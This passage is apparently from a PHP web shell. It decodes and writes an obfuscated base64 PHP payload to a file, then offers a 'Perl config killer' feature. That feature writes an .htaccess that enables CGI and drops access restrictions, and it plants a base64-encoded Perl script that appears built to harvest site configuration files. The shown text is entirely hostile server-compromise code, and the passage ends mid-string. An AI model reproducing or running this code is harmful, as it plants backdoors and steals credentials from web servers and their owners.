MzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
1770 $write = fwrite($f2, base64_decode($sml_db));
1771 if ($write) {
1772 @chmod('angel/db.php', 0755);
1773 }
1774 }
1775}
1776# x=ckperl
1777elseif (isset($_GET['x']) && ($_GET['x'] == 'ckperl')) {
1778 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ PERL CONFIG KILLER ]:=O</span></b></nobr><br/><br/> ";
1779 echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='image/anu.pl' target='_blank'>[+] HERE [+]</a></center></span></br>";
1780 if (!is_dir('image')) {
1781 $mk = @mkdir('image', 0777);
1782 $c = "Options all
1783 DirectoryIndex Sux.html
1784 AddType text/plain .php
1785 AddHandler server-parsed .php
1786 AddType text/plain .html
1787 AddHandler txt .html
1788 AddHandler cgi-script .pl
1789 Require None
1790 Satisfy Any";
1791 $f = @fopen('image/.htaccess', 'w');
1792 @fwrite($f, $c);
1793 $f2 = @fopen('image/anu.pl', 'w');
1794 $sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+WytdIENPTkZJRyBQRVJMIFsrXTwv